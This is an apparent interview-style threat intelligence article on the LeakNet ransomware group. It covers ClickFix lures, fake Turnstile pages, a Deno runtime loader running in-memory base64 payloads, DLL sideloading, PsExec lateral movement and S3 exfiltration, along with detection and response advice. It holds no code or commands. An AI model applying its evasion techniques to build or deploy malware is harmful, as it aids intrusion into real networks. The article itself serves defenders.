In the rapidly shifting world of cybercrime, few groups have demonstrated as much agility as LeakNet, a ransomware collective that has moved from a modest three victims per month to a highly scalable operation. Leading this evolution is a sophisticated combination of social engineering and advanced technical evasion, specifically through the use of “ClickFix” lures and a custom-built loader that leverages legitimate developer tools to stay under the radar. By examining their move away from traditional access brokers toward more autonomous, memory-resident attacks, we gain a clearer picture of how modern threat actors are bypassing multi-million dollar defense systems.
LeakNet has shifted from purchasing credentials to using ClickFix lures on compromised legitimate websites. How does this transition away from initial access brokers change the group’s operational speed, and what specific challenges does hosting lures on trusted domains create for traditional network-layer defenses?
The transition away from initial access brokers is a strategic move that essentially removes a middleman from their supply chain, allowing the group to scale their operations much faster than before. By planting lures on compromised but legitimate websites, they no longer have to wait for brokers to find an entry point or negotiate prices; they simply cast a wide net and wait for users to come to them. This creates a massive headache for network-layer defenses because the traffic originates from trusted, high-reputation domains that are rarely blocked by standard filters. Traditional defenses that rely on blacklisting malicious URLs are rendered ineffective when the “malicious” page is actually a subfolder on a site the company uses every day. This shift forces a move away from perimeter-based security toward a model that scrutinizes the specific actions occurring on the endpoint once a user lands on these pages.
The use of fake Cloudflare Turnstile pages relies on users manually running commands. Why is this social engineering tactic becoming a preferred delivery method for malware, and what specific behavioral indicators should security teams prioritize when a user bypasses domain-based blocking?
This social engineering tactic is gaining popularity because it effectively tricks the user into doing the heavy lifting for the attacker, which helps the malware bypass automated security sandboxes that struggle with manual human interaction. In 2025, this method already accounts for the distribution of 59% of the top malware families, proving that the “human element” remains the most reliable vulnerability. When a user is convinced to run a command to “verify” themselves, they often bypass the very protections designed to keep them safe. To counter this, security teams must prioritize monitoring for suspicious msiexec commands and unexpected outbound connections that occur immediately after web browsing activity. These behavioral signals are much more reliable indicators of a breach than trying to keep up with an ever-changing list of compromised domains.
Attackers are now employing a “bring-your-own-runtime” strategy by installing the legitimate Deno executable to run malicious code. How does executing base64-encoded payloads via data URLs bypass signature-based tools, and what are the technical hurdles in detecting scripts like Romeo.ps1 or Juliet.vbs?
The “bring-your-own-runtime” strategy is particularly clever because it utilizes a legitimate, signed executable—the Deno runtime—which is a tool developers use globally and is unlikely to be flagged as malicious by itself. By feeding base64-encoded payloads directly into the runtime via data URLs, the attackers ensure that the malicious code never exists as a standalone file on the hard drive for a scanner to find. This bypasses signature-based tools entirely because there is no file hash to check or malicious binary to analyze. The technical hurdle with scripts like Romeo.ps1 and Juliet.vbs is that they often look like standard administrative tasks or simple loaders that call a legitimate program. Without deep inspection of the command-line arguments and the subsequent memory behavior, these scripts can easily blend into the background noise of a busy enterprise network.
Once the Deno loader is active, it fingerprints the system and binds to a local port to prevent duplicate instances. What are the most effective ways to identify this type of memory-resident activity, and how should an organization’s incident response plan change to address payloads that never touch the disk?
Identifying memory-resident activity requires a shift in focus from static file analysis to active process and network monitoring. One of the most effective ways to spot the Deno loader is to look for the specific behavior of the runtime binding to a local port for instance control, which is an unusual state for a typical user workstation. Organizations should also look for processes that are consuming unusual amounts of memory or making persistent outbound calls to command-and-control servers that are only a few weeks old. Incident response plans must evolve to prioritize memory forensics and live response tools rather than just “wiping and reloading” a machine. If the payload never touches the disk, traditional “file recovery” or “disk imaging” won’t show the full story, making it vital to capture the state of the system’s RAM before the process is terminated or the machine is rebooted.
Post-exploitation involves lateral movement using PsExec and sideloading jli.dll in specific directories like USOShared. Beyond restricting administrative tools, what granular monitoring strategies can catch these movements, and how can isolating a host at the first sign of an S3 bucket connection prevent a full ransomware deployment?
To catch these more subtle movements, security teams should implement granular monitoring for DLL sideloading, specifically watching for any instances of jli.dll appearing in directories like C:ProgramDataUSOShared, which is a favorite hiding spot for this group. Beyond just blocking PsExec, you should monitor for any unauthorized execution of administrative tools across the network, especially those initiated by non-IT accounts. The connection to an S3 bucket is often a critical “canary in the coal mine” because it typically indicates the staging or exfiltration of data right before the encryption phase. Isolating the host the moment an unexpected S3 connection is detected can break the attack chain, preventing the attackers from completing their objective and saving the rest of the network from a full-scale ransomware deployment.
What is your forecast for LeakNet and the evolution of runtime-based loaders?
I expect LeakNet and similar groups to move further away from custom malware and lean even more heavily into “living-off-the-land” techniques using varied runtimes like Python, Node.js, or Go that are common in modern environments. As defenders get better at spotting Deno-based attacks, these groups will likely rotate through different legitimate interpreters to keep security teams guessing and to ensure their payloads remain memory-resident. We will likely see a surge in “polymorphic runtimes” where the loader itself changes its behavior based on the specific security tools it detects on the victim’s machine. The battleground is shifting from the hard drive to the system’s memory and legitimate administrative channels, meaning that the organizations that succeed will be those that prioritize behavioral visibility and rapid, automated isolation over traditional perimeter defenses.